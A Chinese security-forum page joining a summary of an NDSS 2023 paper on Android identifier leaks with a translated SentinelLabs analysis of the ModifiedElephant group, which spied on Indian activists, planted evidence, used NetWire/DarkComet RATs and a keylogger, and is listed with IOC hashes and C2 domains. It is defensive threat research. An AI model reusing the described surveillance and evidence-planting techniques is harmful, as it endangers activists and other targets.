[https://www.trustwave.com/Resources/SpiderLabs-Blog/Sneaky–BAT-File-Leads-to-Spoofed-Banking-Page/](https://www.trustwave.com/Resources/SpiderLabs-Blog/Sneaky--BAT-File-Leads-to-Spoofed-Banking-Page/)
朝鲜与比特币攻击活动的藕断丝连
<https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new>
Dragonfly行动分析表明它可能和更早的攻击活动有联系
<https://securingtomorrow.mcafee.com/mcafee-labs/operation-dragonfly-analysis-suggests-links-to-earlier-attacks/> | 社区文章 |
# 安全顶会NDSS2023 | 针对安卓用户身份隐私泄露的分析研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
2月27日-3月3日，国际安全顶会NDSS 2023在美国加州举办，来自字节跳动无恒实验室的研究论文《Post-GDPR Threat Hunting on
Android Phones: Dissecting OS-level Safeguards of User-unresettable
Identifiers》被NDSS 2023收录。
NDSS网络与分布式系统安全会议（the Network and Distributed System Symposium, NDSS
)，是国际公认的网络和系统安全四大顶级学术会议（BIG4）之一，录用率常年保持在15%左右，具有非常高的学术影响力。
3月1日，来自无恒实验室的安全研究员张清在NDSS
2023会议现场发表演讲，分享关于安卓操作系统在用户身份标识追踪等方面的隐私问题，主要包括WiFi相关，蓝牙相关，以及常见的uuid（IMEI/MEID/Serial
number）等信息在获取方面缺陷的相关研究成果，该研究可促进Android操作系统对于这些信息获取的防护体系建设，助力用户隐私安全保护。
## 二、研究介绍
近年来，各国政府越来越重视用户数据与隐私的问题，相继制定了以隐私为重点的数据保护法规。高度的开放性是安卓的典型特性，然而，开放性也是一把双刃剑，高度的开放性，也随之带来了人们对于Android生态下用户隐私保护的担忧。同时随着安卓手机应用的爆发式增长，用户身份识别信息也随时面临着被泄漏的风险。尤其是一些用户不可修改的设备识别信息，一旦遭到泄露，将带给用户身份追踪方面的困扰，并造成长期的隐私泄露。
据悉，谷歌已经采取措施，实施新的隐私功能，以限制应用程序对用户数据的使用，尤其是在一些用户不可重置的识别信息 （User-unresettable
Identifiers,
后文简称UUI）上，在系统层面针对UUI的读取权限日益收紧，并且从10.0版本开始，第三方Apps被限制，甚至禁止读取一些常用的手机设备识别信息，例如手机序列号，IMEI，ICCID等。
### 2.1 了解UUI
为了识别UUI，无恒实验室参考了Android的官方文档和相关文献，确定了六种类型的UUI。本研究将分析这六种UUI
是否受到良好保护；并在此基础上，以这六种UUI作为目标，探索一个UUI是如何被应用程序访问的，以及还有多少我们从未见过的UUI存在隐私泄露的风险。
基于上述背景，无恒实验室联合昆士兰大学、新加坡国立大学等科研机构研发了一款名叫U2I2的分析工具，U2I2 不仅评估这六个已知 UUI
的保护情况，还要评估其他以前未报告的 UUI 的保护情况。通过检测可编程接口，非系统应用程序可以在没有所需权限的情况下，恶意通过该接口访问
UUI。无恒实验室对市面上多款最新Android设备进行分析后发现，即使用户的手机安装了最新的Android版本（10.0或更高），一些UUI仍然可以被第三方App轻易获取。最终在13款不同型号的Android设备上共发现了65处系统级别（OS-level）的UUI保护漏洞。
### 2.2 主要发现
根据研究发现，UUI处理不当的问题在最新的Android手机中仍然普遍存在，截止本论文发表前，总共发现51个独立的漏洞（将多个厂商设备中发现的相同漏洞定义为一个独立漏洞），导致了65次系统级UUI泄露。这51个漏洞中，其中有47个漏洞涉及到我们预先锁定的6个目标UUI，还有18个泄露是通过U2I2分析工具经过差异分析后确定的全新UUI（即Misc
UUIs）。在分析获取渠道时，我们发现有45个漏洞是通过undocumented渠道获取的，同时有30个漏洞是通过读取系统属性实现的。从漏洞产生者角度统计，只有一个独立漏洞是源于AOSP代码的，即Google在编写Android系统时造成的，剩余50个漏洞均为厂商定制ROM过程中产生。AOSP的漏洞也毫不意外地出现在所有的厂商ROM当中。
### 2.3 白名单问题
在研究过程中，无恒实验室还发现了一个滥用白名单的问题，白名单机制本来不是为第三方App设计，设备厂商更应该谨慎使用该机制。但在对手机厂商分析过程中，发现存在过度使用白名单机制来规范敏感API调用的问题，
由于身份验证存在缺陷，恶意应用程序可以欺骗白名单机制并绕过权限控制来收集 UUI。
这样会导致处在白名单中的APP可以越过Android系统对其进行的鉴权机制，在用户不知情的情况下获取其隐私。
## 三、小结
为了解操作系统级别的UUI保护，无恒实验室联合昆士兰大学、新加坡国立大学等科研机构对Android操作系统中的UUI进行了全面研究分析，也将研究成果补充到关于应用程序级数据收集行为的现有研究中，助力Android生态系统中的PII保护研究。
无恒实验室秉持负责任的漏洞披露政策，已将所有发现的漏洞提交至相关厂商，目前已收到8个CVE。同时呼吁监管机构、厂商和开发者等加强合作，共同打造一个安全合规的Android生态，为用户的安全上网保驾护航。
想阅读完整论文的朋友，欢迎点击自取：<https://baigd.github.io/files/NDSS23-U2I2.pdf>
## 四、关于无恒实验室
无恒实验室(<https://security.bytedance.com/security-lab>)
是由字节跳动资深安全研究人员组成的专业攻防研究实验室，致力于为字节跳动旗下产品与业务保驾护航。通过实战演练、漏洞挖掘、黑产打击、应急响应等手段，不断提升公司基础安全、业务安全水位，极力降低安全事件对业务和公司的影响程度。
无恒实验室持续在前沿安全技术加大投入，近年来无恒实验室已有多篇文章发布在包括NDSS、MobiCom、Black
Hat等顶会会议和期刊。未来，无恒实验室将持续深耕移动安全和隐私安全，持续与业界持续共享研究成果，协助企业避免遭受安全风险，亦望能与业内同行共同合作，为网络安全行业的发展做出贡献。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://assets.sentinelone.com/sentinellabs-apt/modified-elephant-apt>**
## 摘要
* 我们的研究将这十年的活动迹象归因于一种我们称之为ModifiedElephant的黑客组织。
* ModifiedElephant对印度各地的人权活动家、人权捍卫者、学者和律师进行有针对性的攻击，目的是栽赃可以定罪的电子证据。
* ModifiedElephant至少从 2012 年开始运作，并多次针对特定的人群。
* ModifiedElephant通过使用商业上可用的远程访问木马(rat)进行操作，并且与商业监视行业有潜在的联系
* 威胁者利用恶意文件的鱼叉式网络钓鱼来传送恶意软件，如 NetWire、 DarkComet，以及基础设施重叠的简易键盘记录程序，这让我们能够联想到很久以前未知的恶意活动。
## 背景
2021 年 9 月，SentinelLabs 发表了对土耳其 nexus
黑客的行动的研究，我们称之为”[EGoManiac](http://https://www.sentinelone.com/labs/egomaniac-an-unscrupulous-turkish-nexus-threat-actor/
"EGoManiac")”，我们注意到他们在记者系统中植入有罪证据，给土耳其国家警察逮捕他们提供正当理由。黑客主动陷害和监禁易受攻击的对手的威胁行为者，是网络威胁现象中一个被严重低估的方面，这引发了作为证据的设备的完整性的问题，令人不安。在一个不相关的[案件](http://https://www.washingtonpost.com/world/asia_pacific/india-bhima-koregaon-activists-jailed/2021/02/10/8087f172-61e0-11eb-a177-7765f29a9524_story.html
"案件")中，新出现的细节引起了我们的注意，作为一个潜在的类似情景，它值得更多的审查。
2018 年 1 月 1 日，印度长期存在的种族和政治紧张局势激化，政府的批评者与亲政府的支持者在 [Bhima
Koregaon](http://https://www.theguardian.com/world/2021/aug/12/bhima-koregaon-case-india-conspiracy-modi "Bhima Koregaon")
附近发生冲突。这一事件引发了随后的抗议活动，导致了更多的暴力事件和至少一人死亡。
在接下来的几个月里，Maharashtra 警方将暴力事件的起因与印度被禁的纳萨尔派-毛主义共产党联系起来。2018 年 4 月 17
日，警方进行了突击搜查，并以恐怖主义相关罪名逮捕了一些人。逮捕机构在被告的电脑系统中发现了涉嫌犯罪的文件，包括涉嫌企图谋杀总理莫迪的计划。
由于Arsenal咨询公司公布了数字检测调查结果以及之后会提到的结果，我们可以收集到一些被告者系统的完整性的罕见见解，并掌握犯罪文件的来源。事实证明，被告设备系统的入侵导致了栽赃文件，这些文件后来被用作恐怖主义的证据和被告者被监禁的理由。这些入侵并不是孤立的事件。
我们对这些入侵的研究揭示了十年来针对特定群体和个人的持续恶意行为，我们现在归咎于一个以前未知的 黑客组织，它名为
ModifiedElephant。这个组织已经运作多年，由于他们的运作范围并不大，他们的工具也不起眼，以及他们只针对区域特定的目标，因而逃过了研究者的关注和检测。在本文撰写之时，ModifiedElephant
仍处于活跃状态。
## 目标和目的
ModifiedElephant 的目标是进行长期监视，在方便协调的逮捕行动之前交付”证据”——指控目标犯有特定罪行的档案。
在仔细回顾过去十年的攻击活动后，我们已经确定了 ModifiedElephant
网络钓鱼活动针对的数百个组织和个人。在印度，活动家、人权捍卫者、记者、学者和法律专业人士是最容易成为攻击目标。值得注意的目标包括与 Bhima
koregan 案件有关的人士。
## 感染行为
在过去的十年里，ModifiedElephant 操作员试图通过恶意文件附件的鱼叉式电子邮件来感染他们的目标，他们的技术随着时间的推移而发展。
他们的主要传输机制是恶意的 Microsoft Office
文档文件，当时这些文件被武器化，用来传输恶意软件。特定的有效载荷随着时间的推移和不同目标的变化而变化。然而，仍然存在一些值得注意的趋势。
* 在 2013 年中期，黑客使用了包含可执行文件附件的仿冒双扩展的钓鱼邮件(filename.pdf.exe)。
* 2015 年之后，参与者尝试使用不太明显的包含公开可用漏洞的文件，例如 .doc, .pps, .docx, .rar和密码保护的 Rar 文件。这些尝试涉及合法的引诱文件，使用.pdf, .docx, 和 .mht 格式，以吸引目标的注意力，同时执行恶意软件。
* 在 2019 年的网络钓鱼活动中，ModifiedElephant 操作者也采取了提供链接到外部托管文件的方法，供受害者手动下载和执行。
* Amnesty首次[公开指出](http://https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/ "公开指出")的这种活动的一个子集，攻击者使用了大量.Rar 存档(高达 300mb)，可能是为了绕过检测。
我们观察到，诱饵文件反复使用
[CVE-2012-0158](http://https://nvd.nist.gov/vuln/detail/cve-2012-0158
"CVE-2012-0158")、
[CVE-2014-1761](http://https://nvd.nist.gov/vuln/detail/CVE-2014-1761
"CVE-2014-1761")、 [CVE-2013-3906](http://https://msrc-blog.microsoft.com/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents/ "CVE-2013-3906")、
[CVE-2015-1641](http://https://nvd.nist.gov/vuln/detail/CVE-2015-1641
"CVE-2015-1641")，利 用它们植入并执行自己选择的恶意软件。
钓鱼邮件和诱饵附件的标题和主题通常是与被害者相关的话题，如激进主义新闻和团体，全球和地方事件的气候变化，政治和公共服务。2021
年初，Arsenal咨询公司公开了了对 2014
年两封钓鱼邮件的[公开解析](http://https://web.archive.org/web/20210421135320/https://twitter.com/ArsenalArmed/status/1384867766675595264
"公开解析")。
图1:包含来自 ModifiedElephant 的恶意附件的鱼叉式钓鱼电子邮件
ModifiedElephant 不断地使用免费的电子邮件服务提供商，如 Gmail 和
Yahoo，来进行他们的活动。钓鱼邮件采取了许多方法来伪装合法性的外表，包括具有转发历史的虚假主体内容，其中包含长长的收件人列表，原始的电子邮件收件人列表中有许多看似虚假的账户，或者只是使用新的电子邮件或诱饵文件多次重新发送恶意软件。值得注意的是，在特定的攻击中，参与者会特别固执，并试图在一天内多次攻击同一个对象。
通过回顾攻击者活动的时间线，我们可以观察到攻击者多年来轮换基础设施的明显趋势。
图 2: ModifiedElephant 和 SideWinder C2 基础设施的时间轴示例
例如，从 2013 年初到 2016 年中，可以描绘一个相当明确的时间表，几乎没有
时间上的重叠，表明攻击活动可能进化或扩大范围。日期是基于观察到的发送与给定域交流的样本中第一个和最后一个钓鱼邮件的日期。值得注意的是，在这张图中，一个独立的印度nexus黑客组织
SideWinder与 ModifiedElephant 一起出现，我们发现，他们在针对同一个目标。
## 工具的选择
ModifiedElephant
最常使用的恶意软件并不复杂，而且非常普通，但事实证明它足以满足其目标——获得远程访问和对受害者机器的无限制控制。部署的主要恶意软件家族是 NetWire 和
DarkComet 远程访问木马(RATs)。这两种“ RATs”都是公开的，并且由于技术和能力方面出众，黑客长期使用。
一项特别攻击是围绕 **_Ltr_1804_to_cc.pdf_** 文件展开的，该文件包含针对莫迪总理的暗杀阴谋的细节。Arsenal
咨询公司的一份检测报告显示，这份文件是警方获得的证明有罪的[证据](http://https://web.archive.org/web/20210917152050/https://scroll.in/article/991095/why-isnt-the-government-looking-for-the-source-of-modi-assassination-malware-on-rona-wilsons-pc "证据")之一，它是通过 [NetWire RAT
远程会议](http://https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-I.zip "NetWire RAT 远程会议")提供的，我们认为其与 ModifiedElephant
有关。进一步的[分析](http://https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip "分析")显示，ModifiedElephant 在大约 15
分钟的时间内，在多个不相关的受害者系统中捏造和编排几乎相同的证据。
## INCUBATOR KEYLOGGER
早在2012年就有受害者成为了键盘记录器有效载荷的目标([0a3d635eb11e78e6397a32c99dc0fd5a](http://https://www.virustotal.com/gui/file/d780446e89cb71d5346ac7a389266c15b0c0d5c42e46c7a88003f93aab2ba8b5
"0a3d635eb11e78e6397a32c99dc0fd5a"))。这些键盘记录程序是用 Visual Basic
编写的，并且在技术上并不令人印象深刻。此外，它们非常脆弱，已经不再能够正常运作了。
键盘记录器的整体结构与 2012
年[意大利黑客论坛](http://https://italianhack.forumfree.it/?t=63131534
"意大利黑客论坛")上公开分享的代码非常相似。ModifiedElephant 变体创建了一个名为“cssrs incubator”的隐藏窗口，与
**SetWindowsHookEx** 一起监控键盘敲击。它注册互斥锁“4oR_$$$tonelsu-mviiLempel-Ziv”, 使用
VBScript to WMI 连接器查询受害者系统的 MAC 地址和操作系统。这个恶意软件最终通过电子邮件从““Logs from ”标题下取出日志。
图 3: Log 上传格式字符串
在某些方面，Incubator 键盘记录器比上面提到的代码更加脆弱，因为它依赖于特定的 web
内容来运行(在编写本文时，这些代码已不可以在互联网上使用)。例如，键盘记录器将使用一个 GET
请求到一个过时的‘whatismyip.com’端点来获取受害者系统的 IP。
图 4: 用于检查受害者 IP 的过时 WhatIsMyIp 端点
类似地，为了提取日志，键盘记录器拉出 Microsoft 模式模板来设置 SMTP
服务器，并使用硬编码(但是模糊化了)的电子邮件地址推送内容。在编写本文时，键盘记录器请求的模式站点都不可用，因而键盘记录器(2012 年版本)无法正常工作。
图 5: 使用 Microsoft 模式模板创建 SMTP 服务器的 Incubator 键盘记录器
键盘记录器利用硬编码的 SMTP 凭据和电子邮件地址，将记录的键盘敲击信息传递给攻击者控制的帐户，包 括:
**Email** | **Associated Sample**
---|---
[[email protected]](mailto:[email protected]) |
0a3d635eb11e78e6397a32c99dc0fd5a
[[email protected]](mailto:[email protected]) |
c095d257983acca64eb52979cfc847ef
[[email protected]](mailto:[email protected]) |
0a3d635eb11e78e6397a32c99dc0fd5a 56d573d4c811e69a992ab3088e44c268
1396f720bc7615385bc5df49bbd50d29 d883399966cb29c7c6c358b7c9fdb951
eff9b8e1ee17cd00702279db5de39a3c
[[email protected]](mailto:[email protected]) |
0db49f572bb1634a4217b5215b1c2c6f ea324dd1dbc79fad591ca46ead4676a1
fd4902b8a4a4718f5219b301475e81aa
[[email protected]](mailto:[email protected]) |
0db49f572bb1634a4217b5215b1c2c6f
[[email protected]](mailto:[email protected]) |
d883399966cb29c7c6c358b7c9fdb951
[[email protected]](mailto:[email protected]) |
ea324dd1dbc79fad591ca46ead4676a1
[[email protected]](mailto:[email protected]) |
1396f720bc7615385bc5df49bbd50d29
[[email protected]](mailto:[email protected]) |
fd4902b8a4a4718f5219b301475e81aa
[[email protected]](mailto:[email protected]) |
c095d257983acca64eb52979cfc847ef
[[email protected]](mailto:[email protected]) |
1720ae54d8ca630b914f622dcf0c1878
[[email protected]](mailto:[email protected]) |
56d573d4c811e69a992ab3088e44c268
[[email protected]](mailto:[email protected]) |
ef42dc2b27db73131e1c01ca9c9c41b6
键盘记录器样本还包含 VBP 和 PDB 路径，为它们的原始开发环境提供了一些潜在的条件。
在某些情况下，攻击者在一个或多个目标上使用相同的有效载荷进行多次网络钓鱼尝试。然而，ModifiedElephant
通常使用新的恶意软件样本进行每次感染尝试。
## ANDROID 木马
ModifiedElephant 还同时发送了包含 NetWire 和 Android 恶意软件有效载荷的多个钓鱼邮件。安卓恶意软件是一种不明商品性木马，以
APK
文件的形式发送([0330921c85d582deb2b77a4dc53c78b3](http://https://www.virustotal.com/gui/file/4dbb14ff2836733b34594956c4234d2a54c04257710dd31a0884b1926d35d7bc
"0330921c85d582deb2b77a4dc53c78b3"))。虽然 Android 木马可能是为更广泛的网络犯罪而设计的，但它与
ModifiedElephant Netwire 样本同时输送表明，同一个攻 击者试图在端点和移动设备上都对目标发起攻势。
图 6: 带有 Netwire 和 Android GM Bot 变体恶意附件的ModifiedElephant 钓鱼电子邮件
图 7: 修改带有 Netwire 和 Android GM Bot 变体恶意附件的ModifiedElephant钓鱼邮件
该木马使攻击者能够拦截和管理短信和呼叫数据，清除或解锁设备，执行网络请求和远程管理。木马以一种非常基本的形式为攻击者提供了一个理想的低成本移动监控工具包。
## 与其他黑客组织的关系
我们对这个黑客组织的研究揭示了多种有趣的线索，突出了其有针对性的监视和任务的复杂性，即多个攻击者利用不同的机制来追踪同一群人。这些攻击者包括私营部门的攻击性黑客(PSOAs)，也有披着商业外观的团体来配合他们的非法活动。
基于我们对 ModifiedElephant
的分析，该组织针对众多目标进行运作，并可能与其他地区的黑客有关系。从我们的角度来看，我们无法进一步消除这种关系的可能性——无论是作为一个积极的伞状组织的
一部分，在各黑客组织之间合作和分享技术资源和目标，还是仅仅是巧合的有联系。以下是一些有趣的相关部分。
* 多年来被 ModifiedElephant 锁定的许多个人也被移动监视间谍软件锁定或确认感染。Amnesty International组织查明，2019 年 NSO Group 的 Pegasus 被用于针对与 Bhima koregan 案件有关的人权维护者的袭击。此外，Bhima Koregaon 案的被告 Rona Wilson 的 iPhone 自 2017 年以来就成为 Pegasus 的攻击目标，这是基于Arsenal咨询公司分析的取证磁盘图像中发现的iTunes备份的数字取证分析。
* 2013 年 2 月至 2014 年 1 月期间，目标之一罗娜 · 威尔逊(Rona Wilson)收到了一些钓鱼邮件，这些邮件可以归咎于“响尾蛇”(SideWinder)组织。ModifiedElephant 和响尾蛇之间的关系尚不清楚，他们的钓鱼邮件的时间和目标在我们的数据库中有重复部分。这可能表明攻击者被东家提供了类似的任务，或者他们以某种方式协同工作。响尾蛇是一个主要针对整个亚洲的政府、军队和商业实体的黑客组织。
* ModifiedElephant钓鱼电子邮件有效载荷([b822d8162dd540f29c0d8af28847246e](http://https://www.virustotal.com/gui/file/828de55ffbfb1c1b6ffcbb56b838486dbaecc9b41a0d111fcca290978ed05e95 "b822d8162dd540f29c0d8af28847246e"))与 [Operation Hangover](http://https://web.archive.org/web/20210226131047/https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/NS-Unveiling-an-Indian-Cyberattack-Infrastructure_FINAL_Web.pdf "Operation Hangover")共享基础设施重叠((new-agency[.]us)。“Operation Hangover”的业务除了针对世界各地组织的经济间谍活动外，还包括针对印度国内外国家安全重点目标的监视行动。
* 另一个有趣的发现是在 2012 年，与 ModifiedElephant 活动密切相关的一个键盘记录器样本中包含了字符串“ Logs from Moosa’s”([c14e101c055c9cb549c75e90d0a99c0a](http://https://www.virustotal.com/gui/file/b665efe9b3dd575e17631146706d6a950d642aa7b7401ac794480c2bb557594c "c14e101c055c9cb549c75e90d0a99c0a"))。这个字符串可能指的是在同一时间被FinFisher间谍软件锁定的巴林活动人士Moosa Abd-Ali Ali。在没有更多信息的情况下，我们认为需要更多研究去验证猜想。
## 归因
调查一个像 ModifiedElephant
这样的攻击组织是一个有趣的挑战。此时此刻，我们拥有了攻击者在过去十年中行为的重要证据，他们攻击目标的独特观察，以及对他们技术目标的深刻理解。 我们观察到
ModifiedElephant 的活动与印度的国家利益紧密相关，而且 ModifiedElephant
的攻击与有争议的、充满政治色彩的个人逮捕案件存在着明显的相关性。
## 总结
Bhima Koregaon 一案为我们提供了一个观察的视角: 一个黑客组织愿意投入大量时间和资源，图求瓦解持相反观点的人。我们对
ModifiedElephant
的描述只关注了一小部分潜在受害者，简述了攻击者的技术，以及对他们的目标的不全面了解。关于这一黑客组织及其行动的许多问题尚未解决; 但有一点是明确的:
世界各地专制政府的反对者必须仔细了解那些试图剥夺他们发声权利的技术手段。
## IOC
**Type** | **Label**
---|---
File | ca91cea6038ebc431c88d7a3280566f5
File | 1720ae54d8ca630b914f622dcf0c1878
File | 0a3d635eb11e78e6397a32c99dc0fd5a
File | ebbddbdadfa5a7e3e5f00faf27543909
File | 93f53bf0f3db53aebcad54a4aa8cc833
File | 5c5279eab1cbffec7d174a79e4233217
File | 7ad281f61b89a85ae69242f9bd1a28be
File | cc634fe1d5087d629b141d242ff49732
File | 7fa8bb8c90a1d1864a5eda90bb8fa2a3
File | eef779774586e59a0e387f7ce06b092e
File | b8a464741d16dcf046b1e27d63f62bcd
File | e631b2f8496c40e54951a2daebfc73ae
File | ad1b6380efb0aad16f01bd1a23f2e649
File | 3e38ed7d2168d8170c50db86e5ebd99c
File | ae95cf0cd0e1a5cd6561ae3a17968dec
File | a650de5d94dd938d9fd0cf55fae83dd6
File | c9da1fa9e874b68df14788c80ca5cfee
File | 319444e7bd7a20caef38dfcf22948f3c
File | b822d8162dd540f29c0d8af28847246e
File | d8fe02b0e134e8c9c338a784d2afacae
File | 54be0a494baaf99ea3f88bdf6557c282
File | 77cb1d0ddf20461b35ccd60bc9e9693f
File | 1efe4a0981876ea7ec1780e21b0738a2
File | bec87849d25eef2e41c0c2e42c90b044
File | e1af82438339a1dd406479b884aba6f8
File | ac65e7d08e48c6d20e3f90f7d9f73d8b
File | cb347961b2f25f91639c16431e224002
File | b6071ff11d4b41e52143ec5ba416131a
File | 2463a3ed222be9d564e380b19522c481
File | bf2d01c8cf111170589e52447b904163
File | d883399966cb29c7c6c358b7c9fdb951
File | a1af186d95ed7de686bd2e59e826f265
File | 1396f720bc7615385bc5df49bbd50d29
File | a07a315d5e05d4970a57d3c499f5c9dc
File | ac04dfc7ccd9cc317b73f5860da94e7a
File | a73e489b730cf730bd51ac790995d635
File | afe38f5b0feeb4da163ca2d2ce85379b
File | aa7faa3465f31f2f3343fe3646af2fba
File | a77833d689be13eae622d48f8a5a8b12
File | abd0b2779bdf3b0dd8b2a97815501850
File | d6a491618a97e0044cc5f319d58c2dac
File | 778547b3e0371ba048c32010b0dc42de
File | d49f22104d979efb5e2da383fea403fe
File | f1b6f87fd82f20f68f8624d63abda57d
File | cadbc701381ed49c37ee3452171e0934
File | a6b71ac86b1267385950815b7d18861b
File | fd4902b8a4a4718f5219b301475e81aa
File | eff9b8e1ee17cd00702279db5de39a3c
File | 63b25fb5c4a41103d8f30659b3ed2c27
File | b662b3fc9174e608718072ea55b37472
File | 43cc3810b86a27e4a15349bbcad3e8e4
File | ef42dc2b27db73131e1c01ca9c9c41b6
File | ead29687b7c4e76c59269e76a85341b7
File | bf6c7302cb2bbad454ad4302152285fe
File | 74c0c5b81124b13b05b9c8792d50597e
File | 1f0265c7fe4560d66f722e4264e717db
File | 3b5a6b3a04ac5c2902ede522614c868c
File | 6ebae56d4cc2a9a9454603b6116fa1a4
File | 05472d6ee747a0e8aff33cf4e5d1141c
File | 602df3a5732f8d8be2d9d6d8b8c48105
File | aca0516142f102aba41e046a340f24e9
File | cdc613712ac2ab85d6a0d314bb95a082
File | 3e597147b7f94ea1cce064c11edffc42
File | c0a2202236b0db4702e2ed521aef048c
File | bee81874f719d61093f7ce12b2641ee4
File | d49f22104d979efb5e2da383fea403fe
File | 6a802a1dbdb11b8ac086c7a335a212b4
File | a956cbab8fd7eaaf0c7dc8c7fd314a12
File | c30b3a305bb180d7dc28e4cdfcda8bdf
File | ea324dd1dbc79fad591ca46ead4676a1
File | 04a186f53fdc9e871cb408df9c4a93ad
File | 56d573d4c811e69a992ab3088e44c268
File | 114c1a7d605f57752450a4985d143337
File | b18bd12e615dca9094aac74740f0d154
File | 1f3dac514c6f7542d84763dfd1c622b9
File | 944d16d2e96dbb4092941857a66f3e07
File | deb655a7a79832e2313e40d8d901f958
File | 3a2f2086ac104d71f450b30ab47e36d5
File | 04061f6e1a0463131ed129bcb03003d5
File | 0db49f572bb1634a4217b5215b1c2c6f
File | a21dfecebfb3bc499f805c71a6584f2b
File | b7c1de8c84583465a78202f46bae4065
File | 13bacd239931b7a1bea2f91a3c5f4d79
File | a8cb8aed839878d4ca028c8f43bbfab3
File | 61c22386df656f32f45bc1928a1e5a94
File | d2a2e167f68e02b3713052ee3d63e013
File | afe6d7985388013e32ae388a29600ae2
File | 619016de4589ecb7039844a7c9a3f326
File | 1fa4d31f8ce38b0660cfbee3da26ca63
File | a8cea2eb313a908037bcc273b99a434d
File | 0330921c85d582deb2b77a4dc53c78b3
File | c0636b98f0c20fa82870d10ffd21dfe1
File | e8efc4a7d41d754968199aebbfba77db
File | 03e40d5f54940d3da97aa8ff981551a2
File | bf164f4ffe8f571666e6ffdabba9d08f
File | c35b13ca7dc705361237e341af7a7e08
File | a7ce8ea97df340e6f7a77dcbe065a617
File | 0ad6bf767f5c45a6faf32a40c5807057
File | ac7ebe2cb77dd9ac74bc55931e91bc23
File | d698739648717c21e7eb2ba1806e673a
File | a7e96388fef3ac919f9f6703d7c0ebd4
File | bf868371dd78162283a193940a1ae9fd
File | c14e101c055c9cb549c75e90d0a99c0a
File | d25250dca84aad3747418432c52be231
File | 4dd1c71eee084eafdd0e9a29bd4d2e59
File | 557bcc59ab20c44eb5b84c5073199983
File | fedeb97850c1d917fbe3aeac388efd35
File | 9ca885835c2c08af33ccf9e094358ea6
File | b1c18520937d259d253d07e085d9e2b0
File | 5b7780fc5e535eb507d86a54db70dee2
File | 489c42a45b233acc377d10e1ec424b4b
File | b7818efa622a88d0c59e9c744cc91d43
File | 28094131dfc2c92d57a665c7fbc4fc0e
File | af79639a14200ea25410b902fe0d5ee7
File | 6be54d26001bd55770e3259562046ab2
File | dccff8250ab9f275b367688e0eba7ec6
File | 550dce15c334bc6b46c41c705d197e19
File | c095d257983acca64eb52979cfc847ef
File | a2e70ef708c06fdc57b0079dda4f89fe
File | 93bed674dacbf3959c103711164747bf
File | 60bff49b10afc593f67888c4f767ea36
File | e6714e3bd83b4a349ab48cc203b91813
File | bfd3e1a3926fd5ef4eec1ac533f2ee34
File | e60b8ddee18e295d9e33e490eafdbfb3
File | 96212539955ef86074398485c46e0483
File | 169a58a0743301ebc5a536d890f10c06
File | aaad5fe071f985c57164a2766d4d8a89
File | c7a48f4f6ade403e09c3bac7185e92ee
File | 60a083a1b7cd5e9a30212dc9541e161d
File | c57f16bd980eec7340d1e541877f0098
Domain | pahiclisting.ddns[.]net
Domain | bzone.no-ip[.]biz
Domain | johnmarcus.zapto[.]org
Domain | ramesh212121.zapto[.]org
Domain | atlaswebportal.zapto[.]org
Domain | testingnew.no-ip[.]org
Domain | nepal3.msntv[.]org
Domain | socialstatistics.zapto[.]org
Domain | socialstudies.zapto[.]org
Domain | gayakwaad[.]com
Domain | knudandersen.zapto[.]org
Domain | jasonhistoryarticles.read-books[.]org
Domain | duniaenewsportal.ddns[.]net
Domain | vinaychutiya.no-ip[.]biz
Domain | researchplanet.zapto[.]org
Domain | greenpeacesite[.]com
Domain | new-agency[.]us
Domain | chivalkarstone[.]com
Domain | newmms[.]ru
## REFERENCES
* [https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/](http://https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/ "https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/")
* [https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-I.zip](http://https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-I.zip "https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-I.zip")
* [https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip](http://https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-II.zip "https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip")
* [https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip](http://https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip "https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip")
* [https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-IV.zip](http://https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-IV.zip "https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-IV.zip")
* [https://web.archive.org/web/20210226131047/https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/NS-Unveiling-an-Indian-Cyberattack-Infrastructure_FINAL_Web.pdf](http://https://web.archive.org/web/20210226131047/https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/NS-Unveiling-an-Indian-Cyberattack-Infrastructure_FINAL_Web.pdf "https://web.archive.org/web/20210226131047/https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/NS-Unveiling-an-Indian-Cyberattack-Infrastructure_FINAL_Web.pdf")
* [https://archive.org/download/unveiling-an-indian-cyberattack-infrastructure-appendixes/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure%20-%20appendixes.pdf](http://https://archive.org/download/unveiling-an-indian-cyberattack-infrastructure-appendixes/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure%20-%20appendixes.pdf "https://archive.org/download/unveiling-an-indian-cyberattack-infrastructure-appendixes/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure%20-%20appendixes.pdf")
